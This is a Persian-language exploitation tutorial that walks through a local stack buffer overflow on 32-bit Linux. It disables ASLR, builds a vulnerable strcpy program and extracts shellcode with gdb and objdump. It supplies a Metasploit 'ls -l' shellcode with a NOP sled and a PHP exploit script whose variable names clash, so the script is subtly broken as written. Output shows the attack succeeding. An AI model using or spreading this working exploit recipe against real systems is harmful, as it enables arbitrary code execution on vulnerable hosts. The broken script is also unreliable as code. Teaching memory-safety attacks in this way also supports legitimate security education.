--=هو الحق=--

شرمنده یه چیزه کلیشه ای رو باید بگم اول مقالم شما به بزرگی خودتون ببخشید

ملاحظات:

این مقاله فقط جنبه آموزشی دارد و هر گو نه سوء استفاده و استفاده غیر آموزشی بر عهده کاربر میباشد !!!

پیوست۱ :از نظر من اگه دوست داشتید بترکونید!

درود

در این مقاله سعی دارم شما را با چگونگی عملکرد باگ های اور فلو و نوشتن شل کد آشنا کنم .

در ادامه به بررسی کد های آسیب پذیر ، چگونگی سوء استفاده از باگ ها و اجرا کردن شل کد مورد نظر خود در پشته میپردازیم. اکسپلویت مینویسیم و...

خب بهتره شروع کنیم!

قبل از کار بهتره سیستم ایجاد توده به صورت اتفاقی یا Randomize Stack را از کار بندازیم و core dumps را فعال کنیم:

```
Snake@apollyon-26e4cf $ echo 0 > /proc/sys/kernel/randomize_va_space && ulimit -c
unlimited
```

بافر

بافر ، به قسمتی از حافظه گفته میشود که اطلاعات در آن ذخیره و نگهداری میشود.بافر ها را میتوان به دو نوع Static و Dynamic تقسیم بندی کرد (که میشه گفت به خاطر متغییر های تعریف شده است)

```
//Static buffer
#include <stdio.h>
int main(int argc, char *argv[])
{
  /*
بافر استاتیک(۱۰ بایت) وقتی برنامه برای اولین بار اجرا میشه در دیتا سگمنت ذخیره میشود
*/
  char buffer[10]="qwertyuio";
  //کد های بیشتر
  return 0;
}
```

و بافر داینامیک :

```
//Dynamic buffer
#include <stdio.h>
int main(int argc, char *argv[])
{
  /*
بافر داینامیک(۱۰ بایت) به صورت لحظه ای[1] در پشته ذخیره میشود
 */
  char buffer[10];
  /*
```

[1] Run-Time

```
مقدار بافر را به برنامه میدهدو در پشته ذخیره میشود argv[1]
 */
 strcpy(buffer,argv[1]);
 // کد های بیشتر
 return 0;
}
```

اگر از مقدار بافر تعیین شده در برنامه ، مقداری بیشتر بدهیم با خطای Segmentation Fault مواجه میشویم ، که با آن آشنا خواهیم شد...

خب حالا با مثالی دیگر آشنا میشویم و شروع به آنالیز برنامه خواهیم کرد:

```
#include <stdio.h>
int overflow(char *str){

 /*
بافر داینامیک(۱۰ بایت) به صورت لحظه ای  در پشته ذخیره میشود
 */

  char buffer[10];

  /*
حالا ما از بافر استفاده میکنیم و ان را به محدوده  Str  میفرستیم
  */

  strcpy(buffer,str);
  return 0;
}
int main(int argc, char *argv[])
{
  // تابع آسیب پذیر ما
  overflow(argv[1]);
  // کدهای بیشتر
  return 0;
}
```

ما از تابع "Strcpy()" درتابع آسیب پذیر خود استفاده کردیم.وقتی داده های ذخیره شده در بافر در str کپی میشوند ، بافر برای گرفتن ۱۰ بایت بعدی خالی میشود.حال اگر مقداری بیش از ۱۰ بایت به argv[1] داده بشود، چه اتفاقی میافتد؟

بهتره ببینیم!:

```
Bash $./ vuln
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

| | |
|---|---|
| getchar | یک کاراکتر را از STDIN میخواند |
| gets | یک رشته را از STDIN میخواند |
| scanf | فرمت ورودی را از فرم میخواند |
| sprintf | خروجی فرمت را داخل بافر قرار میدهد |
| fgets | get a string of characters from a stream |
| memcpy | یک بافر را در دیگری کپی میکند |
| memmove | یک بافر را در دیگری قرار میدهد |
| memset | بافر را با یک کاراکتر پر میکند |
| strcat | دو رشته را به هم میپیوندد |
| strcpy | یک رشته را در دیگری کپی میکند |
| strncat | کاراکتر های یکسان را از دو رشته به هم میپیوندد |
| strncpy | کاراکتر های یکسان از یک رشته را در دیگری کپی میکن |
```

خب برگردیم سر موضوع خودمان.

ما برای استفاده بهینه از این آسیب پذیری باید یک شل کد را به برنامه تزریق کنیم.

حتما میپرسید شل کد دیگه چیه؟

شل کد مجموعه کوتاه و قابل استفاده از opcode ها است که مستقیما در حافظه اجرا میشود. opcode به درستورات و اینستراکشن های قابل فهم برای ماشین میگویند.شل کد نباید حاوی کاراکتر های نال(0x00) باشد. چون برنامه بعد از رسیدن به نال ، به اجرای شل کد پایان میدهد و اولین بایت نال را پایان شل کد محسوب میکند.

معمولا" شل کد ها کوچکتر از آن مقداری هستن که ما برای سرریز بافر نیازمندیم!پس برای سرریز و اجرای شل کد چه باید کرد؟

جواب ساده است ، ما میتوانیم از NOP استفاده کنیم. NOP مخفف No Operation است.این اینستراکشن کار خاصی انجام نمیدهد و ما از برای پر کردن فضا استفاده میکنیم(این اینستراکشن برای وصله کردن یک کد نیز مورد استفاده قرار میگیرد).

این یک رشته NOP است:

```
0x900x900x900x900x900x900x900x900x90
```

و برای استفاده در شل کد به این صورت باز گردانی میشود:

```
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
```

برای تفهیم بیشتر به این کد دقت کنید:

```
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x43\x65\x87\xe3\x4d
```

CPU بعد از رسیدن به اولین NOP آن را رد کرده به بعدی،بعدی،بعدی میرود تا به شل کد ما(x43\x65\x87\xe3\x4d) برسد و آن را اجرا کند.

به بحث شل کد برگردیم، شل کدها به صورت هکز هستن و نوشتن شل کدها نیاز به آشنایی با زبان اسمبلی[2] دارد، اما یک راه دیگر هم وجود دارد.کد های خود را به زبان دیگر نوشته سپس آنها را به هگز تبدیل کنیم.

به طور مثال ما یک برنامه کوچک که " uname –a" را در Unix اجرا کند مینویسیم.شما میتوانید هر زبان دیگری را انتخاب کنید.

```
int main( )
{
 execve("uname -a");
 exit(0);
}
```

[2] نمیخواهم نا امید تان کنم ، اما بسیار زبان سختی است!!!

آن را به صورت یک خطی در میآوریم(برای کوتاه کردن کاراکتر ها):

```
int main(){execve("uname -a");exit(0);}
```

برای کامپایل این کد باید از سوییچ Static– استفاده کنید (برای فراخوانی کتابخانه ها و توابع به صورت باینری):

```
Bash$ gcc --static shellcode.c -o shellcode
```

سپس:

```
Bash$ ./shellcode
Linux apollyon  2.6.16.13-4-smp #1 SMP Wed May 3 04:53:23 UTC 2006 i686 i686 i386
GNU/Linux
```

به دیباگ کردن کد میپردازیم:

```
Bash$ gdb shellcode
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
---Type <return> to continue, or q <return> to quit---
This GDB was configured as "i586-suse-linux"...Using host libthread_db library
"/lib/libthread_db.so.1".

(gdb) disas main
Dump of assembler code for function main:
0x08048248 <main+0>:    lea    0x4(%esp),%ecx
0x0804824c <main+4>:    and    $0xfffffff0,%esp
0x0804824f <main+7>:    pushl  0xfffffffc(%ecx)
0x08048252 <main+10>:   push   %ebp
0x08048253 <main+11>:   mov    %esp,%ebp
0x08048255 <main+13>:   push   %ecx
0x08048256 <main+14>:   sub    $0x4,%esp
0x08048259 <main+17>:   movl   $0x809d748,(%esp)
0x08048260 <main+24>:   call   0x804db30 <execve>
0x08048265 <main+29>:   movl   $0x0,(%esp)
0x0804826c <main+36>:   call   0x80489d0 <exit>
0x08048271 <main+41>:   nop
0x08048272 <main+42>:   nop
0x08048273 <main+43>:   nop
0x08048274 <main+44>:   nop
0x08048275 <main+45>:   nop
0x08048276 <main+46>:   nop
0x08048277 <main+47>:   nop
0x08048278 <main+48>:   nop
0x08048279 <main+49>:   nop
0x0804827a <main+50>:   nop
0x0804827b <main+51>:   nop
0x0804827c <main+52>:   nop
0x0804827d <main+53>:   nop
0x0804827e <main+54>:   nop
0x0804827f <main+55>:   nop
End of assembler dump.
```

حال شما میتوانید کد C خود را به زبان اسمبلی x86 ببینید! اما این تنها تابع Main هست. ما برای اجرای کد خودمان به تابع execve نیاز داریم.پس:

```
(gdb) disas execve
```

```
Dump of assembler code for function execve:
0x0804db30 <execve+0>:  push   %ebp
0x0804db31 <execve+1>:  mov    %esp,%ebp
0x0804db33 <execve+3>:  mov    0xc(%ebp),%ecx
0x0804db36 <execve+6>:  push   %ebx
0x0804db37 <execve+7>:  mov    0x10(%ebp),%edx
0x0804db3a <execve+10>: mov    0x8(%ebp),%ebx
0x0804db3d <execve+13>: mov    $0xb,%eax
0x0804db42 <execve+18>: call   *0x80b6bbc
0x0804db48 <execve+24>: mov    %eax,%ecx
0x0804db4a <execve+26>: cmp    $0xfffff000,%ecx
0x0804db50 <execve+32>: ja     0x804db55 <execve+37>
0x0804db52 <execve+34>: pop    %ebx
0x0804db53 <execve+35>: pop    %ebp
0x0804db54 <execve+36>: ret
0x0804db55 <execve+37>: mov    $0xffffffe8,%eax
0x0804db5a <execve+42>: neg    %ecx
0x0804db5c <execve+44>: mov    %gs:0x0,%edx
0x0804db63 <execve+51>: mov    %ecx,(%edx,%eax,1)
0x0804db66 <execve+54>: mov    $0xffffffff,%eax
0x0804db6b <execve+59>: jmp    0x804db52 <execve+34>
0x0804db6d <execve+61>: nop
0x0804db6e <execve+62>: nop
0x0804db6f <execve+63>: nop
End of assembler dump.
```

اما به کد های هکز نیازمند بودیم ، برای تبدیل کد ها به هکز از دستور x/bx main **استفاده کنید:**

```
gdb) x/bx main)
x8048248 <main>:        0x8d.
(gdb)
x8048249 <main+1>:      0x4c.
(gdb)
x804824a <main+2>:      0x24.
(gdb)
x804824b <main+3>:      0x04.
.....
(gdb)
x804827f <main+43>:     0x90.
```

و برای execve **نیز به همین صورت عمل کنید.البته یک راه ساده تر استفاده از دی اسمبلر** objdump **است:**

```
Bash$  objdump shellcode -d
08048248 <main>:
 8048248:       8d 4c 24 04             lea    0x4(%esp),%ecx
 804824c:       83 e4 f0                and    $0xfffffff0,%esp
 804824f:       ff 71 fc                pushl  0xfffffffc(%ecx)
 8048252:       55                      push   %ebp
 8048253:       89 e5                   mov    %esp,%ebp
 8048255:       51                      push   %ecx
 8048256:       83 ec 04                sub    $0x4,%esp
 8048259:       c7 04 24 c8 dd 09 08    movl   $0x809ddc8,(%esp)
 8048260:       e8 1b 0f 00 00          call   8049180 <__libc_system>
 8048265:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 804826c:       e8 5f 07 00 00          call   80489d0 <exit>
 8048271:       90                      nop
 8048272:       90                      nop
 8048273:       90                      nop
 8048274:       90                      nop
 8048275:       90                      nop
 8048276:       90                      nop
 8048277:       90                      nop
 8048278:       90                      nop
 8048279:       90                      nop
 804827a:       90                      nop
 804827b:       90                      nop
```

```
 804827c:       90                      nop
 804827d:       90                      nop
 804827e:       90                      nop
 804827f:       90                      nop

0804e1a0 <__execve>:
 804e1a0:       55                      push   %ebp
 804e1a1:       89 e5                   mov    %esp,%ebp
 804e1a3:       8b 4d 0c                mov    0xc(%ebp),%ecx
 804e1a6:       53                      push   %ebx
 804e1a7:       8b 55 10                mov    0x10(%ebp),%edx
 804e1aa:       8b 5d 08                mov    0x8(%ebp),%ebx
 804e1ad:       b8 0b 00 00 00          mov    $0xb,%eax
 804e1b2:       ff 15 1c 73 0b 08       call   *0x80b731c
 804e1b8:       89 c1                   mov    %eax,%ecx
 804e1ba:       81 f9 00 f0 ff ff       cmp    $0xfffff000,%ecx
 804e1c0:       77 03                   ja     804e1c5 <__execve+0x25>
 804e1c2:       5b                      pop    %ebx
 804e1c3:       5d                      pop    %ebp
 804e1c4:       c3                      ret
 804e1c5:       b8 e8 ff ff ff          mov    $0xffffffe8,%eax
 804e1ca:       f7 d9                   neg    %ecx
 804e1cc:       65 8b 15 00 00 00 00    mov    %gs:0x0,%edx
 804e1d3:       89 0c 02                mov    %ecx,(%edx,%eax,1)
 804e1d6:       b8 ff ff ff ff          mov    $0xffffffff,%eax
 804e1db:       eb e5                   jmp    804e1c2 <__execve+0x22>
 804e1dd:       90                      nop
 804e1de:       90                      nop
 804e1df:       90                      nop
```

شما بعد از مرتب کردن کد ها و... به دو کد زیر دست پیدا خواهید کرد:

```
Main➔
0x8d0x4c0x240x040x830xe40xf00xff0x710xfc0x550x890xe50x510x830xec
0x040xc70x040x240x480xd70x090x080xe80xcb0x580x000x000xc70x040x240x00
0x000x000x000xe80x5f0x070x000x000x900x900x900x90
Then➔
\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x83\xec
\x04\xc7\x04\x24\x48\xd7\x09\x08\xe8\xcb\x58\x00\x00\xc7\x04\x24\x00
\x00\x00\x00\xe8\x5f\x07\x00\x00\x90\x90\x90\x90
Execve➔
0x550x890xe50x8b0x4d0x0c0x530x8b0x550x8b0x5d0x080xb80x0b0x000x000x00
0xff0x150xbc0x6b0x0b0x080x890xc10x810xf90x000xf00xff0xff0x770x030x5b
0x5d0xc30xb80xe80xff0xff0xff0xf70xd90x650x8b0x150x000x000x000x000x89
0x0c0x020xb80xff0xff0xff0xff0xeb0xe50x900x900x90
Then➔
\x55\x89\xe5\x8b\x4d\x0c\x53\x8b\x55\x8b\x5d\x08\xb8\x0b\x00\x00\x00
\xff\x15\xbc\x6b\x0b\x08\x89\xc1\x81\xf9\x00\xf0\xff\xff\x77\x03\x5b
\x5d\xc3\xb8\xe8\xff\xff\xff\xf7\xd9\x65\x8b\x15\x00\x00\x00\x00\x89
\x0c\x02\xb8\xff\xff\xff\xff\xeb\xe5\x90\x90\x90
```

این شل کد ها قابل استفاده در یک اکسپلویت نیستند چون حاوی نال بایت و کاراکتر های نال هستند که رشته پس از رسیدن به آنها متوقف میشود،این کد ها تنها برای آشنایی با شل کد و نحوه کار آن گفته شد و برای رسیدن به یک شل کد کارآمد باید تغییراتی در کدهای برنامه داده بشود [۳] و کاراکتر های نال حذف شوند که خود نیازمند دانش اسمبلی است.برای اجرای این کد ها در CPU میتوانید از تکه کد زیر استفاده کنید:

```
unsigned char shellcode[]=
   "Shellcode here!";
int main(void) { ((void (*)())shellcode)(); }
```

[3] در مقالاتی بعدی ، انشاا...

یک شل کد کارآمد شل کدی بدون نال بایت است!

به شل کد زیر توجه کنید:

```
\x2b\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x64\x96\x2c\xed\x83\xeb\x
fc\xe2\xf4\x0e\x9d\x74\x74\x36\xf0\x44\xc0\x07\x1f\xcb\x85\x4b\xe5\x44\xed\x0c\xb9\x4e
\x84\x0a\x1f\xcf\xbf\x8c\x90\x2c\xed\x64\xfa\x5f\xcd\x49\xfa\x2c\xba\x37\x1f\xcd\x20\x
e4\x96\x2c\xed
```

این کد کماند "ls –l" را اجرا میکند و میبینید که از نال بایت خبری نیست.

شما میتوانید شل کد مورد نظر خود را از سایت هایی مثل :

http://www.milw0rm.com/shellcode/
http://shellcode.org/shellcode/
http://metasploit.com:55555/PAYLOADS

پیدا کرده و در اکسپلویت خود استفاده کنید.

خب بهتره به بحث اصلی خودمان یعنی اکسپلویت کردن برنامه که در صفحه۳ گفته شد.

```
Bash$  gdb -c core ./vuln
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-suse-linux"...Using host libthread_db library
"/lib/libthread_db.so.1".
Core was generated by `./vuln
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
---Type <return> to continue, or q <return> to quit---
Program terminated with signal 11, Segmentation fault.


warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x61616161 in ?? ()
(gdb) i r eip
eip            0x61616161       0x61616161
(gdb)
```

کماند I r به معنی info registers است و در ما در این جا این دستور را در مورد رجیستر ip که نگهدارنده آدرس بازگشت است به کار میبریم.میبینیم که روی این رجیستر 0x61616161 نوشته شده است. که معادل اسکی آن aaaa است .بار دیگر امتحان میکنیم:

```
Bash$  ./ vuln 01234567890qwertyuiopasdfghjkl
Buffer holds: 01234567890qwertyuiopasdfghjkl
Segmentation fault (core dumped)
zapotek@lil-z:/Documents/bo> gdb -c core ./vuln
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-suse-linux"...Using host libthread_db library
"/lib/libthread_db.so.1".


Core was generated by `./vuln 01234567890qwertyuiopasdfghjkl'.
Program terminated with signal 11, Segmentation fault.
```

```
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x75797472 in ?? ()
```

معادل اسکی uytr **بر روی** eip **نوشته شد!**

ما از این کار نتیجه میگیریم که رجیستر Eip **تنها ۴ بایت را در خود نگه میدارد. مقدار بافر را در سورس برنامه به ۲۷۲ تغییر دهید.حال حافظه به این صورت شکل میگیرد:**

Unallocated space	buffer	EIP	Other registers
[unknown size]	[272bytes]	[4bytes]	[unknown size]

و حالا ما یک شل کد مناسب را از سایت Metasploit **دریافت کردیم:**

```
/*
   Shellcode taken from the metasploit project
   It executes the "ls -l" UNIX command on the vulnerable system
*/
/* linux_ia32_exec -  CMD=ls -l Size=68 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x2b\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x64"
"\x96\x2c\xed\x83\xeb\xfc\xe2\xf4\x0e\x9d\x74\x74\x36\xf0\x44\xc0"
"\x07\x1f\xcb\x85\x4b\xe5\x44\xed\x0c\xb9\x4e\x84\x0a\x1f\xcf\xbf"
"\x8c\x90\x2c\xed\x64\xfa\x5f\xcd\x49\xfa\x2c\xba\x37\x1f\xcd\x20"
"\xe4\x96\x2c\xed";
```

کمی محاسبات:

۲۷۲ بایت را بافر نگه میدارد.

و ۴ بایت را نیز رجیستر eip **نگه میدارد.**

شل کد ما هم ۶۸ بایت است.

مقدار بافر به مقدار رجیستر eip **جمعا" ۲۷۶ بایت میشود.**

اگر مقدار شل کد را از این مقدار کم کنیم ،۲۰۸ بایت فضای خالی باقی میماند که برای سرریز بافر حتما باید پر شوند!

بهترین گزینه Nop **ها هستند ، که با آنها آشنا شدید.پس داریم:**

208 bytes	68 bytes	4 bytes
[NOPS]	[OPCODEs]	[EIP]

همه چیز آماده هست بهتره اکسپلویت خود را بنویسیم:

```
#!/usr/bin/php
<?php
print_r('
```

```
-----------------------------------------------------------------------
locall bufferovewrflow exploit by Snake
just for exam
nOthing :)
-----------------------------------------------------------------------
');
// # linux_ia32_exec -  CMD=ls -l Size=68 Encoder=PexFnstenvSub http://metasploit.com
$_sellcode=
        "\x2b\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x64".
        "\x96\x2c\xed\x83\xeb\xfc\xe2\xf4\x0e\x9d\x74\x74\x36\xf0\x44\xc0".
        "\x07\x1f\xcb\x85\x4b\xe5\x44\xed\x0c\xb9\x4e\x84\x0a\x1f\xcf\xbf".
        "\x8c\x90\x2c\xed\x64\xfa\x5f\xcd\x49\xfa\x2c\xba\x37\x1f\xcd\x20".
        "\xe4\x96\x2c\xed";
   $_nOpZ=str_repeat("\x90",208);
   $_retadd="\xc0\xef\xff\xbf";
   $_attact=$_nOpz.$_shellcode.$_retadd;
   system("./vuln", $attact);
?>
```

اکسپلویت را با php نوشتم تا ببینید که تنها زبان اکسپلویت نویسی cو یا perl نیست!

البته این اکسپلویت بسیار ساده است .

خب حالا اجراش میکنیم!

```
Bash$ php expl.php
Buffer holds: +Ë.ï¿½ï¿½ï¿½$ï¿½sd,ï¿½ï¿½tt6ï¿½Ë.Kï¿½
Ï¿,ï¿½_ï¿½,7ï¿½ï¿½ï¿½ï¿½
total 32
-rwxr-xr-x  1 Snake mkpasswd 3448 Oct  4 14:59 CGI.sh
-rw-r--r--  1 Snake mkpasswd 1689 Oct  8 15:52 CGI2.sh
-rwxr-xr-x  1 Snake mkpasswd  113 Oct  8 20:19 scanner.sh
-rw-r--r--
```

خب کار کرد!

اما شاید شما بپرسید که من آدرس برگشت ($_retadd="\xc0\xef\xff\xbf";) را با چی پر کردم !

جواب ساده است برنامه را Gdb دیباگ کنید:

```
Bash$ gdb -c core ./vuln
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-suse-linux".
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./vulnerable '.
Program terminated with signal 11, Segmentation fault.
#0  0xb7f09970 in ?? ()
(gdb) x/1000xb $esp
0xbfffea74:     0xc0    0x0c    0x00    0xb8    0x20    0xee    0xff    0xbf
0xbfffea7c:     0x12    0x84    0x04    0x08    0x10    0xed    0xff    0xbf
0xbfffea84:     0x00    0x00    0x00    0x00    0xf8    0xea    0xff    0xbf
0xbfffea8c:     0x7c    0x58    0xeb    0xb7    0xc0    0x0c    0x00    0xb8
0xbfffea94:     0x70    0x84    0x04    0x08    0xf8    0xea    0xff    0xbf
0xbfffea9c:     0x7c    0x58    0xeb    0xb7    0x02    0x00    0x00    0x00
0xbfffeaa4:     0x24    0xeb    0xff    0xbf    0x30    0xeb    0xff    0xbf
0xbfffeaac:     0x4d    0x32    0xff    0xb7    0x00    0x00    0x00    0x00
0xbfffeab4:     0x90    0x56    0xfe    0xb7    0x01    0x00    0x00    0x00
0xbfffeabc:     0x01    0x00    0x00    0x00    0xf4    0xbf    0xfb    0xb7
0xbfffeac4:     0xc0    0x0c    0x00    0xb8    0x00    0x00    0x00    0x00
0xbfffeacc:     0xf8    0xea    0xff    0xbf    0x00    0xdc    0x33    0xa1
0xbfffead4:     0xe1    0x6e    0x27    0xa9    0x00    0x00    0x00    0x00
0xbfffeadc:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffeae4:     0x30    0x86    0xff    0xb7    0xad    0x57    0xeb    0xb7
0xbfffeaec:     0xf4    0x0f    0x00    0xb8    0x02    0x00    0x00    0x00
0xbfffeaf4:     0x50    0x83    0x04    0x08    0x00    0x00    0x00    0x00
0xbfffeafc:     0x71    0x83    0x04    0x08    0x2f    0x84    0x04    0x08
0xbfffeb04:     0x02    0x00    0x00    0x00    0x24    0xeb    0xff    0xbf
```

0xbfffeb0c:	0x70	0x84	0x04	0x08	0x60	0x84	0x04	0x08
0xbfffeb14:	0x90	0x3b	0xff	0xb7	0x1c	0xeb	0xff	0xbf
0xbfffeb1c:	0x31	0xc3	0xff	0xb7	0x02	0x00	0x00	0x00
0xbfffeb24:	0x5a	0xed	0xff	0xbf	0x67	0xed	0xff	0xbf
0xbfffeb2c:	0x00	0x00	0x00	0x00	0x7c	0xee	0xff	0xbf
0xbfffeb34:	0x95	0xee	0xff	0xbf	0xa5	0xee	0xff	0xbf
0xbfffeb3c:	0xd7	0xee	0xff	0xbf	0x36	0xef	0xff	0xbf
0xbfffeb44:	0x4a	0xef	0xff	0xbf	0x5d	0xef	0xff	0xbf
0xbfffeb4c:	0x6c	0xef	0xff	0xbf	0x87	0xef	0xff	0xbf
0xbfffeb54:	0xae	0xef	0xff	0xbf	0xd5	0xef	0xff	0xbf
0xbfffeb5c:	0xa1	0xf1	0xff	0xbf	0xd3	0xf1	0xff	0xbf
0xbfffeb64:	0xde	0xf1	0xff	0xbf	0xee	0xf1	0xff	0xbf
0xbfffeb6c:	0xf9	0xf1	0xff	0xbf	0x0a	0xf2	0xff	0xbf
0xbfffeb74:	0x18	0xf2	0xff	0xbf	0x69	0xf2	0xff	0xbf
0xbfffeb7c:	0x75	0xf2	0xff	0xbf	0x2f	0xf3	0xff	0xbf
0xbfffeb84:	0x90	0xf3	0xff	0xbf	0xac	0xf3	0xff	0xbf
0xbfffeb8c:	0xc8	0xf3	0xff	0xbf	0xda	0xf3	0xff	0xbf
